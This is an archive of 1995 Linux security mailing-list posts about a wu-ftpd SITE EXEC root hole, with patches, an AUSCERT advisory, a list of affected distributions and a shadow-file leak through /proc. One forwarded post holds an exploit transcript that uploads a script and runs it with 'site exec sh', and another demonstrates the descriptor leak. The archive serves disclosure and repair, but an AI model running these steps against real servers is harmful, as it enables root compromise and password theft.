-- [email protected] - Linux, the choice of generation-GNU. | Protect your rights: learn, use, and practice safe encryption. | | i meant cli at the top and sti's at the returns, i think, right? (this is | great, i love knowing nothing about what I'm doing to my kernel) - r-man From [email protected] Sun May 28 07:22:27 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id GAA16200; Sun, 28 May 1995 06:57:10 -0400 Received: from cais.cais.com (cais.com [199.0.216.4]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id PAA12865; Thu, 25 May 1995 15:27:44 -0400 Received: from cais2.cais.com (cais2.cais.com [199.0.216.200]) by cais.cais.com (8.6.10/8.6.5) with ESMTP id PAA05360; Thu, 25 May 1995 15:27:19 -0400 Received: from localhost (jsdy@localhost) by cais2.cais.com (8.6.5/8.6.5) id PAA23313; Thu, 25 May 1995 15:27:18 -0400 Date: Thu, 25 May 1995 15:27:18 -0400 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected], [email protected] Subject: Re: switching symlinks on atrun Cc: [email protected] Sender: [email protected] Precedence: list [mod: I'm approving this post as well as Thomas' reply even though they're not very Linux-specific. Please send any follow-ups to the authors. --okir] From: [email protected] (Thomas Koenig) > From: [email protected] (Michael Shields) > > From: [email protected] (Thomas Koenig) > > > /var/spool/atrun is owned by a non - root userid, usually bin. > > > If somebody broke into bin, he could then execute a shell script > > > owned by root with root permissions, via a > > But lots of things are owned by bin. /bin/sh is probably owned by bin. > > If you have bin, you can get root, at or no at. > Ugh... they should not be. Unless some system binary needs to be setuid > to a particular userid, it should ALWAYS be owned by root, for exactly > this reason. I'm afraid that I must respectfully but strongly disagree with the last conclusion. I hold it as a strong security tenet that nothing on the file system should be owned by root. Absolutely nothing at all. Unless, of course, it will not work otherwise. Why is this? I have two primary reasons. The first reason is to discourage, as much as possible, the practice some people have of doing ALL system maintenance work as the super-user. This horrible practice makes me shudder. The super-user account has a lot of power: it blithely ignores ALL restrictions on file system per- missions, and gives quite a few other powers besides. If one is capable of making mistakes - and we are all human, who has never made a mistake? - then making a mistake AS THE SUPER-USER magnifies the possible conse- quences of that mistake N-fold. Consequently, one of the first things that I do on any system is to change all files and directories owned by root - unless I can be persuaded otherwise - to some other user, typi- cally "bin" (or "sys"). The second reason is to discourage the writing of programs that "really, absolutely, HAVE to be" setuid-root. For at least half of the programs that I've seen, whose authors wanted them to be setuid-root, there was a perfectly acceptable setgid-something solution. Making a program setuid-root, to overcome all problems with file system or other permissions, is often just a lazy way out. Because of the aforemen- tioned powers that a process running as the super-user has, I don't like to proliferate such programs. It is absolutely true that, if someone cracks the "bin" account, they would then (under this arrangement) be in a good position to get full control of the system. Note that they would not have full control of the system immediately, as they would if they were to crack the "root" account. The solution, though, is to protect ALL system accounts, be they "root", "bin", "sys", "field" [if such exist], or whatever. Joe Yao [email protected] - Joseph S. D. Yao linux-security/1995/linux-security.950529100664 1767 1767 5421 5762445370 17255 0ustar majdommajdomFrom [email protected] Mon May 29 18:30:11 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA25519; Mon, 29 May 1995 18:08:59 -0400 Received: from castle.hiof.no ([email protected] [158.36.33.52]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id PAA24787; Mon, 29 May 1995 15:13:11 -0400 Received: (from safety@localhost) by castle.hiof.no (8.6.10/8.6.9) id VAA23898; Mon, 29 May 1995 21:13:33 +0200 Date: Mon, 29 May 1995 21:13:32 +0200 (GMT+0200) From: thomas To: [email protected] Subject: Wu-ftpd. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list [mod: When I tried this out, it didn't work for me. Looking at the source, I found that an unmodified wu-fptd-2.4. prepends /bin/ftp-exec to every command received in a SITE EXEC request. Unless I have overlooked something big, and unless binaries from some Linux distributions have been `improved' by adding a different _PATH_EXECPATH #define, I can't see how this should work. If it does on your system, please get in contact with us. --okir] This was grabbed from USENET comp.security.unix We tested it out, in /etc/ftpaccess you can deny chmod but since local users can use a shell to chmod and then run the shell from FTP. I am looking at a fix, but I haven't finished it yet. And, should the fix be as a define in /etc/ftpaccess or just remove exec's alltogether? Guess someone with more understandings of the WU-ftpd can make a neater fix. If it's nessesary... --- Forwarded message follows --- From: [email protected] (Michel) Date: Sat, 27 May 1995 02:43:42 UTC Subject: Re: is /usr/bin/passwd as a shell a security-hazard? > xhost +open-linux.somewhere.edu open-linux.somewhere.edu being added to access control list > > cat >fun.sh #!/bin/sh cat >fun.c < > ftp open-linux.somewhere.edu Connected to open-linux.somewhere.edu. 220 open-linux.somewhere.edu FTP server (Version wu-2.4(1) Wed May 10 21:00:32 CDT 1995) ready. Name (open-linux.somewhere.edu:cracker): cracker 331 Password required for cracker. Password: 230 User cracker logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> put fun.sh 200 PORT command successful. 150 Opening BINARY mode data connection for fun.sh. 226 Transfer complete. 169 bytes sent in 0.00109 secs (1.5e+02 Kbytes/sec) ftp> quote "site chmod 755 fun.sh" 200 CHMOD command successful. ftp> quote "site exec sh fun.sh" 200-sh fun.sh 200 (end of 'sh fun.sh') linux-security/1995/linux-security.950530100664 1767 1767 13111 5762737222 17260 0ustar majdommajdomFrom [email protected] Tue May 30 20:55:30 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id UAA10789; Tue, 30 May 1995 20:38:53 -0400 Received: from gyda.hiof.no (gyda.hiof.no [158.36.33.6]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id UAA26020; Mon, 29 May 1995 20:26:27 -0400 Received: by gyda.hiof.no (4.1/SMI-4.1) id AA02899; Tue, 30 May 95 02:26:23 +0200 Date: Tue, 30 May 1995 02:26:22 +0200 (MET DST) From: "Halvor Kise jr." Subject: Re: Wu-ftpd. To: thomas Cc: [email protected] In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hello all! What this fellow forgot to tell is that you need to have an account at the system. It does NOT work (with the default settings) for an anon user. We have tried this on three Linux boxes, and it worked on all of them. Our CBM-64 ftpsite is now down until we find a fix for this problem. :~( And I have talked to Thomas about his fix. But we dont agree if it should be a define in /etc/ftpaccess or what? Good hunting! - Halvor. [mod: quoting trimmed --okir] -- *** MEMENTO MORI *** PGP-key by fingering [email protected]
Halvor's Homepage.

From [email protected] Tue May 30 20:55:30 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id UAA10869; Tue, 30 May 1995 20:44:06 -0400 Received: from castle.hiof.no ([email protected] [158.36.33.52]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id PAA09140; Tue, 30 May 1995 15:42:38 -0400 Received: (from safety@localhost) by castle.hiof.no (8.6.10/8.6.9) id VAA26483; Tue, 30 May 1995 21:43:15 +0200 Date: Tue, 30 May 1995 21:43:14 +0200 (GMT+0200) From: Thomas Lundquist To: thomas cc: [email protected], [email protected] Subject: Re: Wu-ftpd. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Mon, 29 May 1995, the Linux security list wrote: As previously stated (to recap) this thing does only work if you are a user on the system. Altho, if the /etc/ftpaccess is configured wrongly it may be possible for anonymous too. I have "hacked" the source and made a version that logs the exec and returns a NONO to the user. And of course does not execute the command. I know this change works, but since it's there in the first place it has to have a use. What use I haven't noticed yet. I can down and upload files as before. The following diff can be patched to src/ftpcmd.y in the wu-ftpd source (version 2.4) It's a simple diff. I am sure it can be done in a more neater way tho. Thomas. [mod: I trimmed the quoting somewhat. I'd also like to ask people posting patches to send context diffs or unified diffs. They're easier to read and have a higher chance of being applicable to newer versions of the same program as well. Lastly, let me repeat that there's an easy fix for this hole: simply set the EXECPATH define in src/pathnames.h to a non-existent directory such as /bin/ftp-exec. --okir] --- cut here --- 1429a1430,1432 > /* > * The declarations belov it kept to be sure we don't break too much. > */ 1434c1437,1440 < /* sanitize the command-string */ --- > /* Nope! We don't want to EXEC anythig.. > * So, we will deny the moron and log him. > * [email protected] May '95 > */ 1436,1462c1442,1445 < if (sp == 0) { < while ((slash = strchr (cmd, '/')) != 0) < cmd = slash + 1; < } else { < while (sp && (slash = (char *) strchr(cmd, '/')) < && (slash < sp)) < cmd = slash+1; < } < < for (t = cmd; *t && !isspace(*t); t++) { < if (isupper(*t)) { < *t = tolower(*t); < } < } < < /* build the command */ < if (strlen(_PATH_EXECPATH) + strlen(cmd) + 1 > sizeof(buf)) < return; < sprintf(buf, "%s/%s", _PATH_EXECPATH, cmd); < < cmdf = ftpd_popen(buf, "r", 0); < if (!cmdf) { < perror_reply(550, cmd); < if (log_commands) < syslog(LOG_INFO, "SITE EXEC (FAIL: %m): %s", cmd); < } else { < int lines = 0; --- > /* I have logged it as critical, another choice may be warning. > * That is LOG_WARNING (see sys/syslog.h for the choises.) > */ > syslog(LOG_CRIT, "ATTEMPT: SITE EXEC, Command: %s ", cmd); 1464,1466c1447,1449 < lreply(200, cmd); < while (fgets(buf, sizeof buf, cmdf)) { < int len = strlen(buf); --- > /* The reply can of course be changed to a more polite denial..:=) > */ > reply(200, "No freaking way!"); 1468,1480d1450 < if (len>0 && buf[len-1]=='\n') < buf[--len] = '\0'; < lreply(200, buf); < if (++lines >= 20) { < lreply(200, "*** Truncated ***"); < break; < } < } < reply(200, " (end of '%s')", cmd); < if (log_commands) < syslog(LOG_INFO, "SITE EXEC (lines: %d): %s", lines, cmd); < ftpd_pclose(cmdf); < } linux-security/1995/linux-security.950601100664 1767 1767 6045 5763367011 17243 0ustar majdommajdomFrom [email protected] Thu Jun 1 12:42:39 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id MAA03997; Thu, 1 Jun 1995 12:24:10 -0400 Received: from oxmail2.ox.ac.uk (oxmail2.ox.ac.uk [163.1.2.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id EAA02490; Thu, 1 Jun 1995 04:24:20 -0400 Received: from sable.ox.ac.uk by oxmail2.ox.ac.uk. with SMTP (PP) id <[email protected].>; Thu, 1 Jun 1995 09:24:30 +0100 Received: (from mbeattie@localhost) by sable.ox.ac.uk (1.4/8.6.12) id JAA09457 for [email protected]; Thu, 1 Jun 1995 09:23:58 +0100 From: Malcolm Beattie Message-Id: <[email protected]> Subject: Re: SECURITY: problem with some wu-ftpd-2.4 binaries To: [email protected] Date: Thu, 1 Jun 1995 09:23:58 +0000 (BST) In-Reply-To: from "Olaf Kirch" at May 31, 95 02:49:00 am X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 2148 Sender: [email protected] Precedence: list [mod: quoting trimmed --okir] For those who can't afford to shut off the daemon, the following should work OK. Just edit the ftpd binary (emacs is your friend :-) and change the unique occurrence of "/bin\0" to something like "/zzz\0" (in other words, any string of the same length which refers to a directory which exists neither under / nor under ~ftp). If you're using emacs, just hit C-s / b i n C-q C-@ to search for the appropriate place. This should work provided you don't rely on anything using site exec, but YMMV. Usual disclaimers, of course. --Malcolm -- Malcolm Beattie Unix Systems Programmer Oxford University Computing Services From [email protected] Thu Jun 1 12:42:43 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id MAA03885; Thu, 1 Jun 1995 12:16:57 -0400 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id KAA26246; Wed, 31 May 1995 10:16:35 -0400 Received: from narq.avian.org (wet-string.avian.org) by cv3.cv.nrao.edu (4.1/DDN-DLB/1.13) id AA08857; Wed, 31 May 95 10:16:33 EDT Received: (from hobbit@localhost) by narq.avian.org (8.6.10/_H*) id IAA00513 for [email protected]; Wed, 31 May 1995 08:29:24 -0400 Date: Wed, 31 May 1995 08:29:24 -0400 From: *Hobbit* Message-Id: <[email protected]> To: [email protected] Subject: wu-ftp Sender: [email protected] Precedence: list A while ago I did several fixes to wu-ftpd-2.4 that makes it much more paranoid, includes some mods I found in a Debian release someplace, and adds s/key support. By default it disables all SITE commands completely, although that might not be what you were looking for. Anyway, start with avian.org:/src/fixkits/README and look at wu24.fix if you're curious. _H* linux-security/1995/linux-security.950602100664 1767 1767 32324 5763710017 17261 0ustar majdommajdomFrom [email protected] Fri Jun 2 11:42:24 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id LAA11620; Fri, 2 Jun 1995 11:25:22 -0400 Received: from onyx.auscert.org.au ([email protected] [203.5.112.10]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id AAA09666; Fri, 2 Jun 1995 00:55:33 -0400 Received: from ruby.auscert.org.au (ruby.auscert.org.au [203.5.112.212]) by onyx.auscert.org.au (8.6.10/8.6.6) with SMTP id OAA13348 for ; Fri, 2 Jun 1995 14:58:04 +1000 Message-Id: <[email protected]> Date: Fri Jun 2 14:53:30 1995 From: Australian Computer Emergency Response Team To: [email protected] Reply-To: [email protected] Subject: aa-95.04 wu-ftpd misconfiguration vulnerability Sender: [email protected] Precedence: list [mod: This was originally sent to linux-alert. --okir] ============================================================================= AA-95.04 AUSCERT Advisory June 2, 1995 wu-ftpd misconfiguration vulnerability ----------------------------------------------------------------------------- A problem exists with certain configurations of the Washington University ftpd which may allow root access from any account on the system. This vulnerability was described in the AA-94.01 Advisory, which is available from: ftp://ftp.auscert.org.au/pub/auscert/advisory/ AA-94.01.ftpd.Configuration.Advice Please note that AUSCERT previously operated as SERT. AUSCERT contact details (below) supercede the SERT details included in AA-94.01. Note: This Advisory contains new and updated information. *** The Australian Computer Emergency Response Team has received information *** that some pre-compiled wu-ftpd-2.4 binaries distributed with Linux have *** a vulnerable configuration by default. All other users of wu-ftpd should take this opportunity to verify the configuration of their daemons. Versions of wu-ftpd prior to 2.4 contain serious security vulnerabilities and should be updated immediately. 1. Description A vulnerability exists in certain configurations of wu-ftpd which may allow users to gain root access. The vulnerability has been described previously in the AA-94.01 Advisory. In its original form, the vulnerability was not enabled by default. However, certain distributions of Linux contain a wu.ftpd that has been compiled with a vulnerable configuration. This vulnerable configuration is distributed and run by default. This vulnerability has been confirmed for Linux Slackware-2.1 and 2.2. It has been claimed that Linux Slackware-2.0 and 2.3 are also affected. Other versions may similarly be affected. To test whether your system is affected, see Section 3 (Detection). Non-Linux systems running wu-ftpd should also be checked to determine if the configuration is vulnerable. See Section 3 (Detection). The pre-compiled binaries shipped for Linux Slackware distributions are vulnerable. The variable _PATH_EXECPATH has been set to "/bin" in the configuration file src/pathnames.h when the distribution binary was built. _PATH_EXECPATH should be set to "/bin/ftp-exec" or a similar directory that does not contain a shell or command interpreter. The source code shipped with the Linux distributions contains the correct value ("/bin/ftp-exec") (which should be verified before recompiling), despite the incorrect distribution binary. See Section 4.2 for further information. The documentation states that the directory defined by _PATH_EXECPATH is relative to ~ftp. This is misleading. The pathname is relative to ~ftp for anonymous users only. It is relative to "/" for normal user sessions. Floppy-only distributions of Linux do not contain source code. The latest version of the wu-ftpd source code can be obtained from: ftp://ftp.auscert.org.au/pub/mirrors/wuarchive.wustl.edu/ packages/wuarchive-ftpd/wu-ftpd-2.4.tar.Z A diff(1) file exists to modify the wu-ftpd source code to allow it to compile on Linux. The application of this patch will cause the vulnerable configuration to exist. *** The patch file wu-ftpd-2.4.diff.gz for Linux contains incorrect *** information. This should be corrected and verified before recompiling. 2. Impact Anyone who has a local account on the system offering ftp services with the vulnerable configuration may gain root access. Support for anonymous ftp access is not required to exploit this vulnerability. 3. Detection Vulnerable systems can be detected by executing (as a user) the commands below or by running strings(1) against the wu-ftpd daemon. Both tests are recommended. 3.1 Detection using user commands To test your configuration to see if you are vulnerable, you can execute the following commands: srchost> ftp ftphost Connected to ftphost 220 ftphost FTP server (Version wu-2.4(2) Mon Apr 18 09:12:35 GMT+1000 1994) ready. Name (srchost:user): 331 Password required for user. Password: 230 User user logged in. ftp> quote site exec echo problem 200-echo problem 200-problem 200 (end of 'echo problem') ftp> quit 221 Goodbye. srchost> If you receive the line "200-problem", then your site is vulnerable. Note that this does not work for anonymous ftp access, or for all vulnerable configurations. 3.2 Detection using strings(1) Determine the location of the SITE EXEC path by executing the following command on the src/pathnames.h file: $ grep _PATH_EXECPATH pathnames.h #define _PATH_EXECPATH "/bin/ftp-exec" $ Use the output of this command to verify that the currently running binary is configured the same as the source code. Note, you should consult your documentation for strings(1) to determine the correct switch for examining the entire binary: $ strings -a wu.ftpd | grep "/bin/ftp-exec" /bin/ftp-exec $ If the binary contains the same pathname for _PATH_EXECPATH, then you have determined the correct location for the SITE EXEC commands. The directory defined by _PATH_EXECPATH should not contain a shell or command interpreter (such as perl) and should not be world or group writeable, nor should any directory back to the root directory (/) be group or world writeable. Permissions 511 are acceptable. 4. Recovery If you have the vulnerability and you are unsure how to rectify it immediately, you should disable your ftp daemon until the configuration can be corrected. 4.1 Temporary workaround If you are unsure how to rebuild a new ftpd daemon, then an interim workaround is to disable the existing service. Note: this will cause all incoming ftp requests to fail. 1. become root 2. comment out ftp in /etc/inetd.conf by prepending # to the line, ie: #ftp stream tcp 3. Restart the inetd process. On most systems, this is done by sending a HUP signal to the inetd process. For example: # /bin/ps -ef | grep inetd | grep -v grep (System V) or # /bin/ps -aux | grep inetd | grep -v grep (BSD) followed by: # kill -HUP You should verify that the ftp service has been disabled by attempting to connect to it. You should see a "connection refused" message. 4.2 Correcting the configuration Ensure that the _PATH_EXECPATH definition in src/pathnames.h is "/bin/ftp-exec" and not "/bin" or any other system directory containing a shell or interpreter, and then recompile. If the wu-ftpd-2.4.diff.gz patch has been applied on Linux systems, the patched version of pathnames.h will be vulnerable. This file should be edited manually before the rebuild to correct the _PATH_EXECPATH definition to "/bin/ftp-exec". Replace the existing ftpd binary with the newly built version. 5. Instructions to enable SITE EXEC Once the running binary has been confirmed as not containing the vulnerable configuration, the SITE EXEC commands can be enabled by following the following steps. a) Ensure that the _PATH_EXECPATH definition in pathnames.h is "/bin/ftp-exec" and not "/bin" or any other system directory containing a shell. This should also be checked in the binary version (see Section 3.2). b) Create ~ftp/bin/ftp-exec. This should be owned by root, permissions set to 555. c) Copy the statically linked binaries that you want available for execution by SITE EXEC into the ~ftp/bin/ftp-exec directory. These should be owned by root, permissions 111. The binaries should never be a shell or command interpreter that allows arbitrary programs to be run. d) If you want the DIR ftp command, you will need a hard link from ~ftp/bin/ls to ~ftp/bin/ftp-exec/ls or a copy of ls in ~ftp/bin. The instructions above enable SITE EXEC commands for anonymous users only. To enable SITE EXEC commands for normal ftp users: e) Create a symbolic link from /bin/ftp-exec to ~ftp/bin/ftp-exec. You should follow file ownership, group membership and permissions strictly according to your documentation. Note that some versions of ftp contain incorrect information for setting file permissions and ownership. Further information can be found in: ftp://ftp.auscert.org.au/pub/mirrors/cert.org/tech_tips/anonymous_ftp ---------------------------------------------------------------------------- AUSCERT would like to acknowledge Michel ([email protected]), Thomas Lundquist ([email protected]), Aleph One ([email protected]), Olaf Kirch ([email protected]), Jeff Uphoff, and Dave Barr ([email protected]) for information published about the Linux problem. AUSCERT would like to thank Dr. Ian Hoyle from BHP Research and Reinhard Uebel from QTAC for their assistance in confirming the extent of this vulnerability. ---------------------------------------------------------------------------- If you believe that your system has been compromised, contact AUSCERT or your representative in FIRST (Forum of Incident Response and Security Teams). AUSCERT is the Australian Computer Emergency Response Team, funded by the Australian Academic Research Network (AARNet) for its members. It is located at The University of Queensland within the Prentice Centre. AUSCERT is a full member of the Forum of Incident Response and Security Teams (FIRST). AUSCERT maintains an anonymous FTP service which is found on: ftp://ftp.auscert.org.au. This archive contains past SERT and AUSCERT Advisories, and other computer security information. AUSCERT also maintains a World Wide Web service which is found on: http://www.auscert.org.au. Internet Email: [email protected] Facsimile: (07) 365 4477 Telephone: (07) 365 4417 (International: +61 7 365 4417) AUSCERT personnel answer during Queensland business hours which are GMT+10:00 (AEST). On call after hours for emergencies. Postal: Australian Computer Emergency Response Team c/- Prentice Centre The University of Queensland Brisbane Qld. 4072. AUSTRALIA From [email protected] Fri Jun 2 18:26:18 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA13354; Fri, 2 Jun 1995 18:08:09 -0400 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id LAA11622; Fri, 2 Jun 1995 11:25:30 -0400 Received: from brewhq.swb.de by cv3.cv.nrao.edu (4.1/DDN-DLB/1.13) id AA06339; Fri, 2 Jun 95 11:25:25 EDT Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0sHY9S-0005BPC; Fri, 2 Jun 95 16:56 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0sHXmN-000KizC; Fri, 2 Jun 95 16:32 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: wu-ftpd: affected ditributions To: [email protected] Date: Fri, 2 Jun 1995 16:32:50 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 894 Sender: [email protected] Precedence: list Hi all, here's the current list of Linux distributions with information on their vulnerability. Yggdrasil Plug&Play, Fall 94 vulnerable Red Hat Helloween Release not vulnerable (*) Mother's Day Release not vulnerable (*) Debian Distribution vulnerable, fixed on primary FTP site as of yesterday (*) Slackware Versions 2.0, 2.1, 2.2, 2.3 vulnerable (*) These have been reported by the distribution maintainers themselves. Thanks a lot to everyone who sent this information! Have a nice day Olaf PS: Sorry for my garbled PGP signature on the linux-alert posting. I sent it out with mailx, and it gobbled one line that started with `~ftp/bin' :-( -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. linux-security/1995/linux-security.950607100664 1767 1767 15462 5765256046 17303 0ustar majdommajdomFrom [email protected] Wed Jun 7 03:58:26 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id DAA32105; Wed, 7 Jun 1995 03:38:51 -0400 Received: from bach.cis.temple.edu ([email protected] [129.32.32.92]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id QAA30396; Tue, 6 Jun 1995 16:01:16 -0400 Received: (from alex@localhost) by bach.cis.temple.edu (8.6.10/8.6.9) id QAA24103; Tue, 6 Jun 1995 16:04:57 -0400 Date: Tue, 6 Jun 1995 16:04:56 -0400 (EDT) From: alex To: Linux Security Mailing List cc: Linux Announce Submit Subject: Linux Security FAQ Update#4: Washington University FTP Daemon Version 2.4 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list - - - LSF Update # 4 - - - Washington University FTP Server Version 2.4 LINUX SECURITY FAQ UPDATE June 3, 1995 11:37 EST Copyright (C) 1995 Alexander O. Yuriev CIS Laboratories, TEMPLE UNIVERSITY ----------------------------------------------------------------------------- This is an update to Linux Security FAQ. The FAQ itself is not completely written yet and currently covers only Slackware Linux distribution. If you use a different Linux distribution and the location name of some files differ from the ones used in this update, please drop me a note at at . If you create your own Linux distributions that are being placed on FTP sites or CDs, please contact me! Linux FAQ WWW is http://bach.cis.temple.edu/linux/linux-security ----------------------------------------------------------------------------- On June 2, 1995, the Australian Computer Emergency Response Team published an advisory about the security hole in some binaries of the wu.ftpd 2.4 (Washington University FTP Server) in major Linux distributions. This Linux Security FAQ Update is an attempt to provide more detailed information about the vulnerability of the Washington University FTP Server and methods of fixing it. ABSTRACT: The default configuration of the Washington University FTP Server version 2.4 in major Linux distributions including Slackware 2.0, 2.1, 2.2, 2.3, Yggdrasil Plug&Play Fall'94 and Debian Distribution has a configuration problem which allows any user with an account on a system to gain the root access. DETECTION: The following set of commands can be used to determine if your ftp server is affected (source host's name is viper. The name of a system being checked is devnull) [jru@viper]:~> ftp devnull Connected to devnull 220 ftphost FTP server (Version wu-2.4(3) Wed May 31 04:11:15 EDT 1995) Name (devnull:jru): jru 331 Password required for jru Password: 230 User user logged in. ftp> quote site exec echo Joe Random User 200-echo Joe Random User 200-Joe Random User 200 (end of 'echo Joe Random User') ftp> quit 221 Goodbye. If you see the phrase you specified in echo command is displayed on the screen, then the configuration of the ftp server on the host is probably vulnerable and you will need to obtain a fix for it. QUICK FIX: Unfortunately, the fix is more than a one step process. We advise you to start by shutting down the ftp server using the command: ftpshut now This command blocks all connections to the ftp server. ANONYMOUS FTP: Unfortunately, it is not possible to be 100% sure if the anonymous ftp is affected. In theory, if all of the following conditions are true an anonymous ftp user can exploit the hole: 1) Uploads are allowed 2) Anonymous users are allowed to use chmod. 3) GNU tar is present in the SITE EXECable directory In practice, we could not reconstruct an attack that can be used by the anonymous user to exploit the hole. [Olaf Kirch managed to open a non-root xterm(1) window from as an anonymous user] Nevertheless, please close it just to be safe. We would also like to mention that there should be absolutely no reason to allow an anonymous user to change access permissions of files from your ftp server. To block it, edit the ftpaccess file which is usually located in the /etc directory (/etc/ftpaccess) and the add line. chmod no guest, anonymous OBTAINING A FIX: Debian/GNU Linux: Users of Debian Linux Distribution can obtain fixed binary from the primary Debian distribution site. wu-ftpd 2.4 source code: The correctly configured wu-ftpd 2.4 server for Linux can be obtained at the following URLs: ftp://linux.nrao.edu/pub/people/alex/wu-ftpd-2.4-fix/ ftp://linux.nrao.edu/pub/people/alex/wu-ftpd-2.4-fix/ ftp://sunsite.unc.edu/pub/Linux/ (I don't know where it will end up) In addition to the source code of patched wu-ftpd 2.4 you can get the patch that would create a "fixed" tree from the original wu-ftpd 2. and the wu-ftpd 2.4 itself. All files have their MD5 checksums in the file CHECKSUMS in the same directory. LIST OF AFFECTED DISTRIBUTIONS: As of today, we are aware that the following distributions are affected and have to be patched: Slackware Linux 2.0 Slackware Linux 2.1 Slackware Linux 2.2 Slackware Linux 2.3 Debian/GNU Linux Yggdrasil Plug&Play'94 Authors of Red Hat Linux distributions claim that their distributions are not affected. Unfortunately, we were unable to verify this claim as apparently neither Olaf Kirch nor Jeff Uphoff nor I have access to it, although we do hope that it is true. The Red Hat Linux Distributions are known to have the latest fixes included. We would like users of other Linux distributions to inform us if their version of wu-ftpd was affected. If you are a user or a maintainer of one of the following distributions, please contact us. Bogus Mini Linux Distribution TAMU SLS MCC "OUR THANK YOU" I would like to thank the following people for their help in researching this problem and providing a solution: Olaf Kirch Wolfgang Ley Jeff Uphoff - - - - - LSF Update # 4 - - - - - - ============================================================================= CIS Laboratories email: [email protected] TEMPLE UNIVERSITY [email protected] USA Tel: 1-800-DEV-NULL http://bach.cis.temple.edu ============================================================================= linux-security/1995/linux-security.950610100664 1767 1767 10215 5766222474 17263 0ustar majdommajdomFrom [email protected] Sat Jun 10 00:53:11 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id AAA13721; Sat, 10 Jun 1995 00:22:52 -0400 Received: from i17linuxb.ists.pwr.wroc.pl (marekm@[156.17.35.8]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id KAA10956; Fri, 9 Jun 1995 10:08:43 -0400 Received: (from marekm@localhost) by i17linuxb.ists.pwr.wroc.pl (8.6.12/8.6.9) id QAA01408 for [email protected]; Fri, 9 Jun 1995 16:08:23 +0200 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: Another problem with wu-ftpd (shadow) To: [email protected] Date: Fri, 9 Jun 1995 16:08:12 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 3328 Sender: [email protected] Precedence: list Hi, This affects wu-ftpd and possibly any other programs with incorrectly hacked in shadow support. Non-shadow versions found in most Linux distributions are not affected - or are all affected and you can't fix it because /etc/passwd is world-readable, depending on how you look at it... This is related to the /proc security problem discussed recently - normal users can read /etc/shadow because this file is not closed and /proc gives access to all open files. Below is how to check if you are vulnerable: Script started on Fri Jun 9 15:09:49 1995 marekm@i17linuxa:~$ ftp -n localhost Connected to localhost. 220 i17linuxa FTP server (Version wu-2.4(2) Thu Jun 1 20:05:10 MET DST 1995) ready. Remote system type is UNIX. Using binary mode to transfer files. ftp> user marekm 331 Password required for marekm. Password: 230 User marekm logged in. ftp> ^Z [1]+ Stopped ftp -n localhost marekm@i17linuxa:~$ ps uwx USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND marekm 15510 0.0 5.4 384 384 pp6 S 14:32 0:01 -bash marekm 15808 0.2 2.2 29 156 pp6 S 15:09 0:00 script marekm 15809 0.1 2.3 29 168 pp6 S 15:09 0:00 script marekm 15810 1.3 6.7 377 472 pp4 S 15:09 0:00 bash -i marekm 15811 0.7 3.9 113 276 pp4 T 15:09 0:00 ftp -n localhost marekm 15812 2.0 7.1 157 500 con S 15:09 0:00 -localhost: marekm: IDLE marekm 15816 0.0 3.1 64 224 pp4 R 15:10 0:00 ps uwx marekm@i17linuxa:~$ ls -al /proc/15812/fd total 0 dr-x------ 2 marekm users 0 Jun 9 15:10 . dr-xr-xr-x 4 marekm users 0 Jun 9 15:10 .. lrwx------ 1 marekm users 64 Jun 9 15:10 0 -> [0000]:0 lrwx------ 1 marekm users 64 Jun 9 15:10 1 -> [0000]:0 l-wx------ 1 marekm users 64 Jun 9 15:10 10 -> [0301]:4623 l-wx------ 1 marekm users 64 Jun 9 15:10 11 -> [0301]:4624 l-wx------ 1 marekm users 64 Jun 9 15:10 2 -> [0301]:10404 lrwx------ 1 marekm users 64 Jun 9 15:10 3 